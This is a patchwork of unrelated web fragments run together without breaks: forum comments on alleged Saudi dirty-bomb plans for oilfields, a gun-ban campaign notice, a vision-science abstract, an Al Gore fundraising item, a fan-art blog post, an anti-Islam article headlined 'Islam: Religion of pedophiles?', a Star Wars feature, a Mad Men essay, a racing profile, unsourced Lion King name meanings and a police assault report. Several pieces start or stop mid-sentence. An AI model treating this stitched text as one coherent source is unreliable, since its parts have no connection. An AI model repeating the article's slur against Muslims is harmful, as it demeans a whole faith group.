Under what circumstances would the Saudis really want to go through with this plan? After all, it's designed to eliminate the Saudi's main asset - their only real source of power and income outside of the God knows how many billions or even trillions in financial assets they've accumulated over the years. Isn't this, in effect, a plan by the Saudis to shoot themselves in the foot? Surely after an American takeover the Saudis would eventually gain some control over, or at least the rights to some of the income from those oil wells, seeing as they are the rightful owners in the first place.
HNN - 5/10/2005 The bombs are reportedly placed in some cases below ground.
mark safranski - 5/10/2005 " 2. The oil below ground will also be contaminatd."
Well...not from a " dirty bomb" detonation at the surface level and in any case the oil well fires would by themselves take quite some time to put out resulting in a catastrophic disruption in global oil markets and, most likely, another Great Depression.
KSA's function as the " flex" in global oil markets is itself a deterrence to invasion by a Core power
HNN - 5/10/2005 What is critical here is the use of dirty bombs. 1. Employees won't want to rebuild facilities contaminated by radiation. 2. The oil below ground will also be contaminatd.
Davy Jones - 5/9/2005
The Committee to Oppose gun ban, based in San Francisco, is seeking supporters for our grassroots campaign.
Visit: www.opposegunban.com. Contact: 415.994.4775.
The intiative will ban the sale, distribution, manufacture of firearms in San Francisco county and if passed by voters, similiar ordinance would mushroom across the nation.
Davy Jones, campaign manager
www.opposegunban.comSpeed of processing is a particularly important characteristic of the visual system. Often a behavioral reaction to a visual stimulus must be faster than the conscious perception of that stimulus, as is the case with many sports (e.g., baseball). Visual psychophysics provides a relatively simple and precise means of measuring visual processing speed called the temporal contrast sensitivity function (tCSF). Past study has shown that macular pigment (a collection of xanthophylls, lutein (L), meso-zeaxanthin (MZ) and zeaxanthin (Z), found in the retina) optical density (MPOD) is positively correlated with the tCSF. In this study, we found similar correlations when testing 102 young healthy subjects. As a follow-up, we randomized 69 subjects to receive a placebo (n=15) or one of two L and Z supplements (n=54). MPOD and tCSF were measured psychophysically at baseline and 4months. Neither MPOD nor tCSF changed for the placebo condition, but both improved significantly as a result of supplementation. These results show that an intervention with L and Z can increase processing speed even in young healthy subjects.
Copyright © 2014 The Authors. Published by Elsevier Inc. All rights reserved.Former Vice President Al Gore Albert (Al) Arnold GoreOvernight Energy: Trump ends talks with California on car emissions | Dems face tough vote on Green New Deal | Climate PAC backing Inslee in possible 2020 run New climate PAC will back Inslee for president Howard Schultz must run as a Democrat for chance in 2020 MORE is asking Democratic activists to send donations to House Democrats' campaign arm as a check on the "extreme elements in control of today’s Republican Party."
"Not since the dark days of the Bush administration have we seen a Republican-controlled Congress that is so intent on pushing their agenda in Washington — protecting tax breaks for oil companies making record profits, attempting to roll back environmental regulations, and not only refusing to pass climate change legislation in any form but refusing to acknowledge that climate change even exists," Gore wrote in a fundraising pitch for the Democratic Congressional Campaign Committee (DCCC).
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The former presidential candidate, who lost to George W. Bush in the disputed 2000 election, noted the DCCC was trying to raise $1 million from grassroots activists before the March 31 deadline.
"Republicans rely on massive contributions from corporate special interests. But Democrats rely on your grassroots strength," Gore wrote, noting a "group of House Democrats" would match the grassroots contributions 2 to 1.
"The world is watching our fundraising totals as a measure of our grassroots strength and ability to take on the special interests so we can win back the House for Democrats," he wrote.
Gore joins former Secretary of State Madeleine Albright and House Minority Leader Nancy Pelosi (D-Calif.), who have pitched for the DCCC as the quarterly fundraising deadline approaches.Hello,everypony, give me new greeting and my new artwork.
It’s Season 7 a bit while, and I heaven’t seen the new episode. The 10th episode actually, A royal problem. I was just keep doing what I’m doing, making new orchestra project, school works stuff.
But just after these past few days, many of my friends and some of my fans came to me and said…
“Hey, Sean~ do you see the new episode? It’ awesome and it has your ballet academy series artwork reference!”
or “yo, avchonline, the new episode had some fandom relativeed tribute image, and your on it! ”
this kind of stuff and I was like “…you are fxxking kidding me right..? -_-”
But anyway, since many people encourage me to watch the new episode, why not? (I don’t capture episode by live, I usually watch it after few weeks later. and i really not quite catch every episode for a lot of things need to do)
So I watch it, and… yay, this episode it’s indeed some kind of interesting. And I do see the fandom reference to ….well, not me. The solar flare (nightmare Celestia, i hope i spell it correctly )actually, and looking at eqd discution, they do have many said the reference of the solar flare.
I can understand what you guys talking about when you say the “Referencs to me.”, the ballet TS and ballet SG, actually it's the artwork i drew it years ago, and being posted by my friend Kinda-l (his English are not good so please forgive him for those weird describation below his gallery.)
right here
you love me,you don't love me
they did looks kind of sweet, and I do appreciate your supporting me that way,but I’m not sure,or should I said, I’m very doubt that it was the reference to me, but… I did kind of wish it was, hey? Who said a man can’t dream, can I? *little sigh*
But anyway, why I’m talking all these nonsence, is that I do not count on Hasbro “tribute” the ballet reference to me, but. I do count on this sence give me a new inspiration to drewing the brand new artwork for CRBAseries,
So here we go, this “Sweet as a cake, smooth as a minuet”
The reason I named that way is this is kind of rhythm, you can imaging the bouncing and skipping little world of the two girls having (in the academy actually),little Starlight glimmer staind on the huge,sweet pancakes (it took me a lot of time to drew the linging of the pancake ), with the academy card on it, and TS just standing on a delicated golden music box, and I redesign it more golden and more detailed, to composed the French rococo style feeling in it, and I do the same design with TS’s brand new ballet dress.
SG are wearing the same outfit with her “Senpai” because in this episode they do wear the same outfit, and I trying to drewing the position like Ts is going to hold SG up from those huge pancake (or maybe they are small?) to the box and maybe hold her in her arm or something…., Oops sorry, getting a little off topic, this is not shipping artwork. Lol
I trying to light up th background, like some kind of light colored birthday card, and because of the title of the episode, I give using Celestia and Luna’s color and cutie mark to decorate the frame
and i was working on a new ballet orchestra piece for this lovely little ballet partner (or..if you ship them.. whatever.), kind of being inspired by E.Stravinsky. just wait for my news about it than i'll show you guys
This artwork was actually drewing in my commission’s specification(except the background.), so you can see the artwork and figure out if you want to ask for commission from me what it might be looks like. and if this artwork get enough supporting, I will make the bonus artwork for it (the academy live series,as usual.)
And this dialogue is going to be very interesting … maybe.
Anyway, thanks for supporting and I’ll see you guys next time.
PS: poor little Starlight could will be having a long,hard time for eating pancakes..XD
PSS: notice that TS got herself a new,lovely tights? <3
Sean.M
◎The AcademyLIVE season series 10 : My roommate Senpai reprise◎
avchonline.deviantart.com/art/…Islam: Religion of pedophiles? Despite efforts by human rights activists to end the barbaric practice of child marriage, Muslim men will continue to marry girls under the age of 15 in Saudi Arabia.
The push to raise the legal age of marriage to 15 was crushed after the Grand Mufti, Sheikh Abdulaziz Al al-Sheikh, the most senior religious authority in the country, ruled that Islam supports men marrying underage girls.
The Grand Mufti ruled that it’s acceptable for men to marry girls under the age of 15, despite strenuous efforts by human rights activists and the Saudi justice ministry to set 15 as a minimum age for brides in the kingdom.
Grand Mufti Abdulaziz declared there is nothing prohibiting Muslim men from marrying girls under the age of 15. Abdulaziz is president of the Supreme Council of Ulema (Islamic scholars) and chairman of the Standing Committee for Scientific Research and Issuing Fatwas, which makes him the final authority in Saudi Arabia on Islamic teachings.
In Saudi Arabia, Muslim clerics have been fighting a successful battle to preserve the legal right of men to marry underage girls. In recent years reformists have been working to prevent and prohibit the abhorrent and barbaric practice of child marriage sanctioned by so many Islamic scholars. However, attempts to prohibit child marriage has met strong and sustained resistance by many Muslim scholars.
For example, in 2011, Dr. Salih bin Fawzan, a prominent cleric and member of Saudi Arabia’s highest religious council, issued a fatwa asserting that there is no minimum age for marriage and that girls can be married “even if they are in the cradle.”
Most Muslim scholars in support of child marriage note that nowhere does Sharia (or Islamic law) set an age limit for marrying girls.
However, perhaps most significant, and the biggest challenge to those attempting to reform Islam |
wasn't pleased.
"I was honestly so embarrassed," Ridley says. "Obviously he was kidding around and even J.J. [Abrams] said, 'Oh, my God.'"
Still, Ford's joking around didn't stop Ridley from climbing into the cockpit. Her character, "Star Wars" newcomer Rey, is this galaxy's new ace pilot. And yes, Rey flies the ship that can make the Kessel Run in less than 12 parsecs.
FULL COVERAGE: 'Star Wars: The Force Awakens'
"It was cool," she says with a laugh.
If there was ever a better metaphor for women taking the wheel in a galaxy far, far away it's Han Solo handing over the keys of the Millennium Falcon to the 23-year-old Ridley.
The "Star Wars" narrative has always favored the pilot. Han Solo is a pilot. Anakin Skywalker was heralded as the cringe-inducing, pod-racing prodigy who later grows up to be "the best star pilot in the galaxy" (according to old man Obi-Wan). Even Luke Skywalker could bull's-eye a womp rat while flying (and it's not much bigger than 2 meters). So the news that Rey sits front and center, skillfully piloting the prize of the "Star Wars" skies is a big deal.
"It's fantastic," Lucasfilm President Kathleen Kennedy says about Ridley's role in the film. "I think what's great about it is Rey, her character, is such a good pilot. That isn't something she's turning and asking how to do, that's something she's doing."
This is clear even in the first carefully doled-out footage of "The Force Awakens" in which John Boyega, another new cast member, and Ridley are seen running frantically from a mysterious explosion. Boyega's character, Finn, yells out, "We need a pilot!"
Ridley as Rey gives her best exasperated shrug (while running from certain death over hot sand) and yells, "We've got one."
She is the pilot.
As the Dec. 17 opening of "The Force Awakens" approaches, the next generation of "Star Wars" characters seems to have several strong roles for women, on both the dark and light side of the Force. For a series that has struggled to find more than one standout female role (no matter how much she kicks butt), that is significant.
That's not to say "Star Wars" has been absent of female influence. The franchise can boast the creation of the innovative and genre-busting Princess Leia, crafted by Carrie Fisher. And the newly established animated series "Star Wars: Rebels" and "Clone Wars" have a varied cast of animated parts for women. But the live-action movies have left a lot to be desired for female roles on film.
PHOTOS: Scenes from 'Star Wars: The Force Awakens'
Padme Amidala, portrayed by Natalie Portman, started as a strong political figure/large-alien-cat fighter. In the end, however, Amidala gives up everything, including the will to live, when the love of her life (Anakin Skywalker) turns to evil. She physically dies of a broken heart while cry-birthing Luke and Leia Skywalker. Padme doesn't even get the glory of living on as a political martyr; her whole story is swept under the rug so Darth Vader can take the stage.
The rest of the women in the "Star Wars" prequels and originals were sidelined to cantina bar stools or Coruscant hallways, banished as background players or imprisoned dancers, with the occasional exception of a Mon Mothma cameo ("Many Bothans died…"). This list becomes only more frustrating when compiled with deleted scenes from "Return of the Jedi" that revealed footage of multiple female rebel pilots attacking the Death Star. Sadly, most of the lady rebels wound up on the cutting-room floor, save for one pilot whose small line was dubbed over with the voice of a man in the finished film.
But now there's Rey.
The scavenger
"She feels very modern," Kennedy says of Rey. "I think she will be relevant to audiences today, she embodies that sense of self-reliance and independence. I think that's who she is. I think that's who she is as a person, as Daisy Ridley and who she is as Rey."
The little we know about Rey is that she's been left to fend for herself amid the wreckage of the previous war between the Empire and the Rebellion. Despite the Ewok celebrations at the defeat of the Empire, there were still corners of the galaxy left forever altered by the damage, including Jakku, Rey's home.
In the "Star Wars" marketing machine, Rey sits front and center in the Drew Struzan posters like a yin and yang symbol, holding the balance between the dark and the light side. Where she'll fall in this world we're not certain, but we do know that her main priority in the film isn't political reformation or treaties with the Trade Federation. Rey is focused solely on the day-to-day. She's the first female lead in the films to grow up outside of privilege.
[Rey] feels very modern. I think she will be relevant to audiences today, she embodies that sense of self-reliance and independence.
Kathleen Kennedy, Lucasfilm
"I don't know if Rey is really about anything in the beginning of the film except for working and feeding herself," Ridley says. "Her life is pretty...'mundane' is the wrong word... but it's pretty repetitive. She's literally living hand to mouth. She's solitary. She doesn't speak to people very much. She's just trying to make it work for herself."
Even though Rey lives isolated in the desert planet, she remains tied to the "Star Wars" legacy built years ago. She spends her days scavenging through the junkfields and hunting among the innards of downed spaceships, including the remains of a crashed Imperial Destroyer. Her salvaged speeder is made from scrap, and even her goggles (which seem to be repurposed glass from the classic Stormtrooper helmet) link her to the past.
"Rey's not important because she's a woman, she's just important," Ridley says. "But obviously, having a woman like this in a film is hugely important."
After working on "The Force Awakens" Ridley admits that the parts Hollywood was offering after she wrapped haven't lived up to the character of Rey. "I understand sexism is going on, and I've seen it actually more this year being out of the film in the scripts I'm being sent. Sometimes I'm reading it and I'm thinking, 'Are you for real? Literally the bit on the side?' That's not cool."
PHOTOS: 'Star Wars: The Force Awakens' behind-the-scenes images
So how will Rey live up to the legacy of Leia? Fisher, the actress who donned the weighty buns in 1977, 1980, 1983 and reprises the role for "Force Awakens," responds to this question in an enthusiastically defiant matter: "She doesn't have to!"
"That's not the point," Fisher says by phone. "It's a new generation doing what they have to do or what they feel they need to do. What's good is that they're confident and capable, and that they don't stop. They don't not do things just because they're afraid to do them. They're relatable, again. This girl I think is more relatable. Well, in that she is not a princess militant."
Strong words of support from the woman who Lucasfilm's Kennedy says was the springboard for why it was so important to have strong female characters in the "Star Wars" Universe.
The princess
Fisher would know what it takes to make a lasting legacy in this franchise. The first few precious moments of "A New Hope" follow the angry revolutionary pulling together a contingency plan to smuggle spy documents off a spaceship. Unafraid of being taken hostage by the nefarious Empire, Princess Leia blasts the invading Imperial Stormtroopers. Leia shoots first.
In captivity, Leia proceeds to throw some truly galactic shade: "Darth Vader, only you could be so bold," "Gov. Tarkin, I should have expected to find you holding Vader's leash. I recognized your foul stench when I was brought on board," and the classic, "Aren't you a little short for a Stormtrooper?"
While Han Solo shirks responsibility and Luke Skywalker fumbles around with his evolving, boyish perception of the hero, Leia gets things done. When her own rescue goes awry, she grabs the blaster herself and finds a way out. She's not just a princess but a radical fighting for freedom under a tyrannical empire.
"She had contempt for and worked with men, and I liked that," Fisher says. "There was something human about her. It showed that she could do whatever she needed to do, and if she could do that, then everybody could do it. People identified with her. She's like a superhero."
Kennedy, who took over the reins for Lucas in 2012, agrees. "When Princess Leia hit the scene in 1977 she was a pretty formidable character. I give George [Lucas] a huge amount of credit," she says. "Leia really held her own. We used that as kind of a touchstone for why it was so important to have a strong female character and hopefully many more strong female characters in the 'Star Wars' universe."
The new film reintroduces Leia 30 years after the war. She's no longer a princess but a general. And she's still very much in command — "still walking and talking," Fisher says. "She doesn't have any mortal wounds or disease." But, she warns, "things have happened that have been difficult."
Fisher was mum on the rest of her character's details but didn't mind sharing a moment of nostalgia she felt on the set of the new film:
"You're so self-conscious, you're exhausted before you get out of your trailer. I was in my trailer in the back and I heard Harrison. I recognized how his boots sound, and I heard him say, 'Is Carrie here?' That was funny. That was like we're back on 'Star Wars' campus."
I was in my trailer in the back and I heard Harrison. I recognized how his boots sound, and I heard him say, 'Is Carrie here?' That was funny. That was like we're back on 'Star Wars' campus.
Carrie Fisher, actress
In response to this reporter's surprise that the actress who brought to life Princess Leia — general of the new resistance — was self-conscious, Fisher let out a guffaw. "I think everyone thinks the same way, only [some] people pretend better. 'I'm going to do badly this time. I look like.... The new people are better. What am I going to do? My hair looks bad again.'"
Fisher may still get nervous, but that doesn't change her legacy. Nor did it stop her tenacious response about the recent kerfuffle over her character's notorious bikini. A frustrated father in Deptford, Pa., went viral in a Fox 29 report over a Target store selling Princess Leia action figure toys dressed in the divisive "slave Leia" ensemble (a metal two-piece the character was forced to wear while prisoner to character Jabba the Hutt). The man was perturbed it was being sold in the toy aisle and flustered over how he was going to explain the toy's chain to his daughters.
"How about telling his daughter that the character is wearing that outfit not because she's chosen to wear it. She's been forced to wear it," Fisher advises. "She's a prisoner of a giant testicle who has a lot of saliva going on and she does not want to wear that thing and it's ultimately that chain, which you're now indicating is some sort of accessory to S&M, that is used to kill the giant saliva testicle…. That's asinine."
Truly the contempt for the scruffy-looking nerf-herders of the world is very much alive and well in Fisher.
The soldier
If Princess Leia ignited the hearts and minds of little bun-wearing heroes across the galaxy, Capt. Phasma was created to spark fear.
The first female villain in a "Star Wars" movie, played by Gwendoline Christie (who made waves on "Game of Thrones" as Brienne of Tarth), is already setting sights high. Some are comparing Phasma to fan favorite Boba Fett. "Which means she makes a lot of impact but she's not at the forefront of the action all the time," Christie says.
But you won't see Phasma tapping out after being carelessly knocked into a sarlacc pit like a wobbly toddler. Kennedy has big plans for Phasma and confirmed that the captain will carry on into the next movie. "She's an important character, a baddie in the best sense of the word."
Phasma, or the Chrometrooper as fans have dubbed her because of the custom silver armor she wears as a sign of her authority, commands the Stormtroopers of the First Order. But it wasn't talk of villains that intrigued Christie, rather Kennedy's thoughts on the status of female heroes.
"Kathleen Kennedy said to me, 'Have you ever Googled 'female heroines'? I said, 'No,' and she did it for me. If you do it, there are a lot of scantily clad women. Now women should be allowed to dress exactly however they choose, but the idea that you Google female heroines and there isn't a diverse range of examples that come up, I find it a bit depressing."
GRAPHIC: Know your Imperial helmets
It was this discussion that helped lead to Christie's involvement. The idea was to try something different, to push the boundaries for female roles, both evil and benevolent, toward a more realistic depiction of women. Which is a funny thought considering the most popular characters of this world carry around lightsabers and converse with Wookiees. Still, you won't find Phasma in the scantily clad role of the hero nor will you see her as the stereotypical slithering, seductive female villain.
"We see women in a different range of roles in the film," Christie says. "And the reason I love my character so much and I feel so enthusiastic about Capt. Phasma is, yes, she's cool, she looks cool, she's a villain — but more than that, we see a female character and respond to her not because of the way she looks. We respond to her because of her actions. I think we're a society that has promoted a homogenized idea of beauty in women — and in men — and I think it's really interesting, modern and necessary to have a female character that isn't about the way her body looks. It isn't about her wearing makeup. It's not about her being conventionally feminized. The idea of this enormous legacy and franchise embracing an idea like that, which of course to many of us feels logical, is actually really progressive. And long overdue."
The reason I love my character so much and I feel so enthusiastic about Capt. Phasma is... we see a female character and respond to her not because of the way she looks. We respond to her because of her actions.
Gwendoline Christie, actress
Already the folks at "Star Wars" headquarters are attempting to work toward a more progressive galaxy on all marketing and social media platforms. Responding to an online commenter who said of Capt. Phasma's look on the official "Star Wars" Facebook page, "Not to be sexist, but it's really hard to tell that's female armor for me," the official account replied candidly, "It's armor. On a woman. It doesn't have to look feminine."
The boss
How did the re-focus on realistic female characters in "Star Wars" occur? Perhaps it was simply Kennedy's not-so-outlandish-idea of putting women in the writing and development room. Long before there was Rey or Phasma or even Lupita Nyong'o's mysterious 1,000-year-old space pirate Maz Kanata (whose character will be entirely computer-generated), months were spent in the story conference room creating characters and ideas.
"I have a story department up at Lucasfilm, and four out of the six people who make up that story department are women," Kennedy says. "So there were as many women sitting in the room having those discussion as there were men. I think that, in and of itself, is what really began to help [Rey] take shape in a way that was relevant to us. And hopefully relevant to other women seeing the film. I think having all those voices in the room, along with mine, was extremely important."
How does this make a difference? "Having a female point of view in the room — when you get into a discussion about behavior — who would say what and how they would interact with one another," Kennedy explains. "In certain situations women are going to have a different opinion on that than men. It made for a really balanced conversation in the room."
Other members of the story room, including director Abrams, were receptive to the new voices. "JJ was great about recognizing right away when it made sense and I think was incredibly appreciative," Kennedy says. "As were [writers] Larry Kasdan and Michael Arndt. Because had it just been the three of them talking about these characters and not having input from myself or [co-producer] Michelle Rejwan or [head of story] Kiri Hart, who knows if that opinion would have been said? It's not to say that it would have headed in a bad direction, but they actual got input from a point of view that they wouldn't normally have. In many cases it just changed certain things by small increments. But cumulatively it makes a difference."
Kennedy doesn't want the emphasis to stop there. She says that she was encouraged by the response she's been seeing from Disney.
"They are really, really making a huge effort across the company to put more focus around casting women and putting women in positions of responsibility, with directing and various other positions inside, different lines of business in the company," Kennedy says. "It's not just about casting female protagonists. It's gotta be across the board throughout the industry. I think Hasbro, who's making toys for a while, they were perhaps a little reluctant to move too quickly with something that's been such a successful boys line. I think they're recognizing that selling to girls is just as effective as selling to boys. More and more the lines are being blurred as to deciding ahead of time that some things are for boys and some things are for girls. I think that's a big part of the conversation. It's all of these areas that are contributing to change really happening. Over the last several years that I've been in the business it seems to me that this has been a topic of conversation every few years. Then everybody thinks it's a trend or that it's a significant change. And then it doesn't really move the needle. I think that's — hopefully— what's going to begin to happen now. It's going to be real change. And not just perceived change."
Will the fantasy women of "Star Wars" make a change here on Earth? Casting women for roles other than private alien mob boss dancer is a start, and it's nice that General Leia is around to see it all come to fruition. Lightsabers crossed for the women of "Star Wars," because it's their galaxy too.
meredith.woerner@latimes.com
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Is it Wookie or Wookiee? The Times' definitive 'Star Wars' style guideTrying to predict what happens on Mad Men is a fool’s game. That’s because the show’s creator/head writer/executive producer/genius, Matthew Weiner (I didn’t think I could ever worship a small-screen auteur the way I used to worship Scorsese when I was in college — but Weiner wins that level of awe in me), learned a lesson well from his former capo David Chase, and that is to keep the lid of omertà clamped tight over everything that happens. When you’ve got a genuinely great television series, leak and reveal…nothing. Maintain the sacredness of silence.
The other reason that forecasting Mad Men is a fool’s game is that the weekly parlor sport of trying to guess what’s going to happen on the next episode always ends up pulling the rug out from under itself. We ask questions like: Will Don stay faithful to Megan? Will Sterling Cooper land the Jaguar account? And while the answers, of course, do matter, we always realize too late that we’ve been asking the wrong (i.e., the dumb, obvious, traditional-TV) questions. Don, for instance, never did stray this season (he was about the only man in the office who didn’t), yet he strayed in a different way. His real mistress was his old-fashioned imperial ego — no matter what Megan asked for, he could barely give an inch. He wasn’t adulterous, but he wasn’t truly, completely faithful either.
Watching Mad Men, you never have any idea what’s going to happen in the next episode, or the next five minutes, and that’s part of the show’s electric novelistic glory. So to try to guess how the show is going to end — I don’t mean one season of it, but the whole damn series, which will be seven seasons old when the sun finally sets on Weiner’s hypnotic saga of the hidden 1960s — is just about the most foolish thing that I could possibly attempt. Yet I’m now compelled to do it, only because in last Sunday’s sensational fifth-season capper, I think we saw something more than the usual heady soap opera of resolutions and arrows pointing tentatively into the future. (Will Megan, hoisted by a commercial, become some sort of actress-star? Will Pete leave his marriage? Did Don tell those babes in the bar that he was alone? Stay tuned for the resolution to these and other questions that will prove boringly irrelevant the moment we have the answers.) In addition to all that, we glimpsed, at long last, the greater arc of Where It’s All Heading.
The one (invisible) clue that Matthew Weiner has provided, in interviews over the years, is that he’s repeatedly said he knows how the series is going to end. He has an image in mind, an idea, a situational essence. (I don’t know that David Chase did, which may be one reason why the controversial ending of the last episode of The Sopranos — which I adored — was almost druggy in its audacity. I’m not sure that’s the kind of thing you plot out for six years.) Whenever Weiner has talked about this, I’ve always conjured up the same vague image in my mind — one of Don Draper, now 45 years old, maybe a touch jowly, standing in an overly conservative suit (or perhaps an early version of Johnny Carson ’70s plaid) in some sun-drenched parking lot as he’s about to climb into his 1971 hearse-black Chrysler Imperial, squinting at some scraggly biker-hippie and thinking, “What the f—?” A man now permanently out of time. A Mad Man in a world gone mad.
What’s off about my image, apart from the sheer literal-minded triteness of it, is that Mad Men is a far more personal show than that. It’s a series that drinks in the society at large (on so many levels that its weave between the corporate/suburban world of the ’60s and our world is nearly metaphysical), yet it never does so at the expense of calibrating its own characters’ subtly shifting heartbeats. So the end of Mad Men, as I see it, must involve more than just Don and his aging existential James Bond of Madison Avenue inner roilings. And it’s now clearer, perhaps, who the other player in that grand resolution will be. It will be Peggy. The secretary who Don hoisted into the boys’ club, and mentored as a copy writer, and still treated as a secretary, and supported and tormented and fought with and believed in — until he didn’t, because he didn’t understand what believing in Peggy’s talent really meant. It’s a measure of how Peggy, played by Elizabeth Moss as a mouse of steel, fits into the series that when she finally ankled Sterling Cooper and went for a big job on her own, I actually wondered how much she would figure into the action after that. Maybe she’d be like Betty, another exile from Don’s orbit, still present yet doomed to the periphery.
But that just shows you how Mad Men tweaks you sometimes by seducing you into thinking just like Don. In the last episode, when Don ran into Peggy as they both played hooky at a mostly empty matinee (kicking off with a preview for Casino Royale! — I’d know those 1967 Burt Bacharach trumpets anywhere), he was all grace and chivalry and cozy smiles, genuinely sweet to his former protégé. Yet what he basically confessed is that he still couldn’t really imagine what it would look like for her to find success without him. She mentioned a new account she’d been handed — an as-yet-unnamed cigarette for ladies — and, of course, what we knew, and what neither Don nor Peggy (at least, not yet) did, is that the cigarette was going to turn out to be Virginia Slims, and that Peggy (assigned to name the product), putting into practice everything that Don taught her, and giving it a feminine spin, was going to come up with that iconic consumer brand, as well as the jingle that launched a thousand swingy-tacky “feminist” TV commercials (“You’ve come a long way, baby! To get where you got to today!”). The symbolism could hardly be more organic: Peggy, like all those “gals” the Virginia Slims ads are going to woo, has come a long way, baby. And now she’s going to be big — not just bigger than Don ever thought she could be, or bigger than she thought ever she could be, but bigger than we ever thought she could be. And that, apart from Don’s booze-and-sex-and-office-politics-fueled film noir interior journey, is really the grand second half of the story that Mad Men is telling.
I encounter a lot of brilliant TV criticism about Mad Men, and one of the only persistent quarrels I have with any of it is that even some of the finest analysts of this show have a way of putting a moral distance between themselves and Don. Often, it’s the show that’s described as somehow acerbically detached — as if Don, in his five-o’clock-shadow charisma and all his contradictions, his ruthlessness and gentleness, his hauntedness and jungle hunger, were somehow less a character to identify with than an objectified force, a kind of walking “text” to be experienced from the outside in. He doesn’t even know himself, the reasoning goes. So how could we claim to know him?
I think this is basically a pseudo-academic posture camouflaging a politically correct response to what Mad Men is truly about. The reality, as I see it, is that a great many viewers, especially men, identify with the amazing Jon Hamm in this role as powerfully as people used to identify with Pacino or De Niro in the ’70s or, before that, the great handsome mind-force actor-gods of the studio era (like Robert Mitchum or Henry Fonda). And the key to that identification is the very thing that some critics get a little squeamish about and need to maintain their moral distance from: the license that Don Draper enjoys, and his etched-in-cool ability to conceal it. It was especially heightened in the early seasons, of course, when he literally lived a double life (“You Only Live Twice”), his appetites eating away at his suburban cocoon. But even since then, the way that Don cruises through a day on the pleasure principle — or tries to, with increasing befuddlement, as his brand of pleasure takes a back seat to the culture that’s exploding around him — makes him a hero who is always, one way or another, trying to get away with something, and the heart of the show is that it keeps inviting us into collusion with him.
Of course, it’s not as if he does get away with everything. Like any film noir hero, Don is a seeker of pleasure who must get his comeuppance. He got it during his marriage to Betty, he got it when he was divorced and drank too much, and this season he got it when he kept trying to control his gorgeous and tender lioness of a wife, and she kept biting back at him, justified in every instance. “Keep on doing whatever the hell you want!” he shouted at Megan as she wandered off, after talking about auditioning for a show whose rehearsals might keep her away for several months. But, of course, doing whatever the hell you want has been Don Draper’s credo. He just can’t imagine a woman doing it. Let alone an entire world in which women do it.
So welcome to Don Draper’s ultimate comeuppance. In a sense, we saw the early glimpses of it this season — like, say, Jessica Paré’s celebrated living-room ye-ye performance, a projection of the new ’60s woman in all her swingingly styled erotic brilliance. (It made the private Don so…uncomfortable.) We saw it in the way that Peggy finally exploded in anger at Don (during their botched commercial audition in the whipped-topping laboratory). We saw it in Joan’s almost shocking embrace of the power of her new role as partner, instantly erasing (or, at least, burying) the memory of the degradation that was required to get it. And we will doubtlessly be seeing much, much more of it in the next — that is, final — two seasons.
But that brings me to the end. The ultimate end. The very end. Which needs to be, for Don, not just a comeuppance but a revelation. For if a woman leaves him, he will find another. If he loses his job…he will survive. (He’s a jungle cat.) But what if he has to go to work for the last person on earth he ever thought he would go to work for? There you have the perfect poetic ending of Mad Men: Don, who saw Peggy Olson off from Sterling Cooper with a courtly kiss of her hand, now kneeling to kiss the ring of his new boss…Peggy Olson. Who is going to come a long way, baby. She’s going to rise and rise and rise. For that, of course, is the story that Mad Men has been telling all along. The slow vertigo fall of Don Draper, as foretold in the opening credits, is really the decline of the world of men as brought about by the rise of the world of women. Don may just have to wait until the final note of the series to wake up and realize it.
So now it’s your turn. How do you think Mad Men will end?
Follow Owen on Twitter: @OwenGleiberman
Read more:
‘Mad Men’ season finale recap: He Only Lives Twice
‘Mad Men’ season finale review: Don Draper, the Easter Jesus, and ‘The Phantom,’ the ghost who walks
‘Mad Men’ and Peggy Olson: Where does she go from here?Newspaper Page Text
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Skip Barber Racing School, initially taking a three-day driving school and then competing in the school's series program.
From there, Norman moved into the Formula Enterprise class in SCCA, winning races and finishing second the SCCA National Championship Runoffs. It was a natural step for Norman to move from there into the high-downforce Atlantic car.
"It was a fast car with a small budget," said Norman. "We could test and race a lot, and I spent as much time in the car I could this year to take that next step in my career.
"My main mechanic, Miles, became a good friend over the course of the year, and was someone I could always count on to give me a good car," Norman continued. "I also need to thank my coach and engineer, Tonis Kasemets, who has taught me so much over the last year on driving and setting up cars. I need to thank my parents who have supported me since day one. And a huge shout out to my trainer and fitness coach, Marvell Wring, who helped me get mentally and psychically prepared for every race."
As Norman progresses up the racing ladder, he said his goal is to become a driver in IndyCar.Just some stuff I found out.
I was interested to find out what the Lion King names mean, I did after looking through books and the internet, I also found out some other cool facts.
Simba means lion
Nala means gift
Sarabi mean mirage
Kopa (Simab's son in a book series) means heart
Rafiki means friend
Pumbaa means stunned or slow wittied
Shenzi means savage
Banzai means skulk or lurk
Kovu means scar
Zira means hate (Originaly she was going to be called Bianca!)
Nuka means stink
Vitani was originally going to be called Shetani which means devil.
All other names are real Swahili names.
Rafiki's song 'Asante sana, squash banana, we we nuga, mi mi apana' means 'thank you very much, squash banana, your a baboon and i'm not'
Some original Lion King characters were a lion cub named 'Mee-Too' a fox and a Rhino. Sarafina was also more of an important character having more lines.
Simba's great grandfather is named 'Mohatu'
The lyrics in Hakuna Matata are 'when I was a young warthog' but originaly they were going to be 'when I was a young Meerkat'
There you go.By Albert Lin
The police officer who partially paralyzed a 57-year-old Indian grandfather has been arrested on third-degree assault charges.
Eric Parker of the Madison (Alabama) Police Department surrendered to the Limestone County Sheriff’s Office on Thursday. Madison Police Chief Larry Muncey said at a small news conference that he is recommending Parker’s firing for his attack on Sureshbhai Patel.
“I found that Officer Eric Parker’s actions did not meet the high standards and expectations of the Madison City Police Department,” Muncey said. “I sincerely apologize to Mr. Patel, Mr. Patel’s family and our community. We strive to exceed expectations.”
The FBI will also conduct a parallel investigation to see if federal charges are warranted.
The Madison PD released dash-cam footage from two cruisersParker’s and a second one that arrived on the sceneand tape of the non-emergency call that brought police to the scene.
In the call, a man says, “We’ve had a guy, he was doing it yesterday and today, just kind of wandering around in driveways. He’s just kind of walking around close to the garage.”
Asked for a description of the person, the caller saying, “He’s a skinny Black guy, he’s got a toboggan [knit cap] on, he’s really skinny.”
The dash-cam footage shows the brutality of the takedown, with Patel’s feet leaving the sidewalk as he goes parallel to the ground in a move reminiscent of pro wrestling.
The accompanying audio shows that Parker and his trainee, Andrew Slaughter, kept asking Patel questions without getting any answers, since Patel does not speak English. Perhaps feeling as if he had adequately addressed the situation, Patel continued his walk. The officers caught up and one patted him down, saying, “Do not jerk away from me again. If you do I’m going to put you on this ground. Do not jerk away from me one more time. Do you understand Do you understand what I’m saying Do not jerk away from me again.”
As the second patrol car arrived, the other officer interjected, “Sit tight, relax. Relax” and then suddenly Patel is thrown to the ground.
